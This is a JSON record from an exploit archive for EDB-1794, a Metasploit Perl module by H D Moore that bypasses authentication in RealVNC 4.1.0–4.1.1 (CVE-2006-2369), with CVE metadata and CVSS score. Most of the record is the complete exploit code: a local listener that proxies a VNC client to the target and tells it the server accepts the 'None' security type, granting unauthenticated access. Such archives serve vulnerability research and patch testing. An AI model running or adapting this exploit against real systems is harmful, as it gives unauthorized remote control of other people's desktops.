{"exploit":{"id":"EDB-1794","name":"RealVNC 4.1.0 < 4.1.1 - VNC Null Authentication Bypass (Metasploit)","description":"RealVNC 4.1.0 < 4.1.1 - VNC Null Authentication Bypass (Metasploit)","cves":["CVE-2006-2369"],"author":"H D Moore","published":"2006-05-15","platform":"multiple","type":"remote","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/1794","path":"exploits/multiple/remote/1794.pm","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-1794.pm","vulnerabilities":[{"id":"CVE-2006-2369","state":"PUBLISHED","title":null,"titleSource":null,"description":"RealVNC 4.1.1, and other products that use RealVNC such as AdderLink IP and Cisco CallManager, allows remote attackers to bypass authentication via a request in which the client specifies an insecure security type such as \"Type 1 - None\", which is accepted even if it is not offered by the server, as originally demonstrated using a long password.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-2369","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-2369"},"updatedAt":"2024-08-07T17:51:03.610Z","retrievedAt":"2026-11-26T19:57:28.420Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-1794.png?v=2","url":"https://exploitbin.com/exploits/EDB-1794","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-1794/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-1794/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This file is part of the Metasploit Framework and may be redistributed\n# according to the licenses defined in the Authors field below. In the\n# case of an unknown or missing license, this file defaults to the same\n# license as the core Framework (dual GPLv2 and Artistic). The latest\n# version of the Framework can always be obtained from metasploit.com.\n##\n\npackage Msf::Exploit::realvnc_41_bypass;\n\nuse strict;\nuse base \"Msf::Exploit\";\nuse Pex::Text;\nuse IO::Socket::INET;\nuse POSIX;\n\nmy $advanced = {};\nmy $info =\n  {\n\t'Name'           => 'RealVNC 4.1 Authentication Bypass',\n\t'Version'        => '$Revision: 1.1 $',\n\t'Authors'        => [ 'H D Moore <hdm[at]metasploit.com>' ],\n\t'Description'    =>\n\t  Pex::Text::Freeform(qq{\n\t\tThis module exploits an authentication bypass flaw in version\n\t4.1.0 and 4.1.1 of the RealVNC service. This module acts as a proxy\n\tbetween a VNC client and a vulnerable server. Credit for this should\n\tgo to James Evans, who spent the time to figure this out after RealVNC\n\treleased a binary-only patch.\n}),\n\n\t'Arch'           => [  ],\n\t'OS'             => [  ],\n\t'Priv'           => 0,\n\n\t'UserOpts'       =>\n\t  {\n\t\t'LPORT'   => [ 1, 'PORT', 'The local VNC listener port',  5900      ],\n\t\t'LHOST'   => [ 1, 'HOST', 'The local VNC listener host', \"0.0.0.0\"  ],\n\t\t'RPORT'   => [ 1, 'PORT', 'The remote VNC target port', 5900      ],\n\t\t'RHOST'   => [ 1, 'HOST', 'The remote VNC target host'],\n\t\t'AUTOCONNECT' => [1, 'DATA', 'Automatically launch vncviewer', 1],\n\t  },\n\n\t'Refs'            =>\n\t  [\n\t\t['URL', 'http://secunia.com/advisories/20107/']\n\t  ],\n\n\t'DefaultTarget'  => 0,\n\t'Targets'        =>\n\t  [\n\t\t[ 'RealVNC' ],\n\t  ],\n\n\t'Keys'           => [ 'realvnc' ],\n\n\t'DisclosureDate' => 'May 15 2006',\n  };\n\nsub new\n{\n\tmy $class = shift;\n\tmy $self;\n\n\t$self = $class->SUPER::new(\n\t\t{\n\t\t\t'Info'     => $info,\n\t\t\t'Advanced' => $advanced,\n\t\t},\n\t\t@_);\n\n\treturn $self;\n}\n\nsub Exploit\n{\n\tmy $self = shift;\n\tmy $server = IO::Socket::INET->new(\n\t\tLocalHost => $self->GetVar('LHOST'),\n\t\tLocalPort => $self->GetVar('LPORT'),\n\t\tReuseAddr => 1,\n\t\tListen    => 1,\n\t\tProto     => 'tcp');\n\tmy $client;\n\n\t# Did the listener create fail?\n\tif (not defined($server))\n\t{\n\t\t$self->PrintLine(\"[-] Failed to create local VNC listener on \" . $self->GetVar('SSHDPORT'));\n\t\treturn;\n\t}\n\n\tif ($self->GetVar('AUTOCONNECT') =~ /^(T|Y|1)/i) {\n    \tif (! fork()) {\n        \tsystem(\"vncviewer 127.0.0.1::\".$self->GetVar('LPORT'));\n        \texit(0);\n    \t}\n\t}\n\n\t$self->PrintLine(\"[*] Waiting for VNC connections to \" . $self->GetVar('LHOST') . \":\" . $self->GetVar('LPORT') . \"...\");\n\n\twhile (defined($client = $server->accept()))\n\t{\n\t\t$self->HandleVNCClient(fd => Msf::Socket::Tcp->new_from_socket($client));\n\t}\n\n\treturn;\n}\n\n# Stolen from InjectVNCStage.pm\nsub HandleVNCClient\n{\n\tmy $self = shift;\n\tmy ($fd) = @{{@_}}{qw/fd/};\n\tmy $rhost;\n\tmy $rport;\n\n\t# Set the remote host information\n\t($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);\n\n\t# Create a connection to the target system\n\tmy $s = Msf::Socket::Tcp->new(\n\t\t'PeerAddr' => $self->GetVar('RHOST'),\n\t\t'PeerPort' => $self->GetVar('RPORT'),\n\t\t'SSL'      => $self->GetVar('SSL')\n\t);\n\n\tif ($s->IsError) {\n\t\t$self->PrintLine('[*] Could not connect to the target VNC service: ' . $s->GetError);\n\t\t$fd->Close;\n\t\treturn;\n\t}\n\n\tmy $res = $s->Recv(-1, 5);\n\n\t# Hello from server\n\tif ($res !~ /^RFB 003\\.008/) {\n\t\t$self->PrintLine(\"[*] The remote VNC service is not vulnerable\");\n\t\t$fd->Close;\n\t\t$s->Close;\n\t\treturn;\n\t}\n\t# Send it to the client\n\t$fd->Send($res);\n\n\t# Hello from client\n\t$res = $fd->Recv(-1, 5);\n\tif ($res !~ /^RFB /) {\n\t\t$self->PrintLine(\"[*] The local VNC client appears to be broken\");\n\t\t$fd->Close;\n\t\t$s->Close;\n\t\treturn;\n\t}\n\t# Send it to the server\n\t$s->Send($res);\n\n\t# Read the authentication methods from the server\n\t$res = $s->Recv(-1, 5);\n\n\t# Tell the client that the server only supports NULL auth\n\t$fd->Send(\"\\x01\\x01\");\n\n\t# Start pumping data between the client and server\n\tif (! fork()) {\n\t\t$self->PrintLine(\"[*] Proxying data between the connections...\");\n\t\t$self->VNCProxy($s->Socket, $fd->Socket);\n\t\texit(0);\n\t}\n\treturn;\n}\n\nsub VNCProxy {\n  my $self = shift;\n  my $srv = shift;\n  my $cli = shift;\n\n  foreach ($srv, $cli) {\n    $_->blocking(1);\n    $_->autoflush(1);\n  }\n\n  my $selector = IO::Select->new($srv, $cli);\n\n  LOOPER:\n    while(1) {\n      my @ready = $selector->can_read;\n      foreach my $ready (@ready) {\n        if($ready == $cli) {\n          my $data;\n          $cli->recv($data, 8192);\n          last LOOPER if (! length($data));\n          last LOOPER if(!$srv || !$srv->connected);\n          eval { $srv->send($data); };\n          last LOOPER if $@;\n        }\n        elsif($ready == $srv) {\n          my $data;\n          $srv->recv($data, 8192);\n          last LOOPER if(!length($data));\n          last LOOPER if(!$cli || !$cli->connected);\n          eval { $cli->send($data); };\n          last LOOPER if $@;\n        }\n      }\n    }\n}\n\n\n1;\n\n\n# milw0rm.com [2006-05-15]","sha256":"f86f155c0747cfc10c3b03827bf67274f5a211be3ab6040adc14d9447c03cfc0","bytes":4957,"fetchedAt":"2026-11-27T09:11:08.179Z","encoding":"utf-8 (display only; download retains original bytes)"}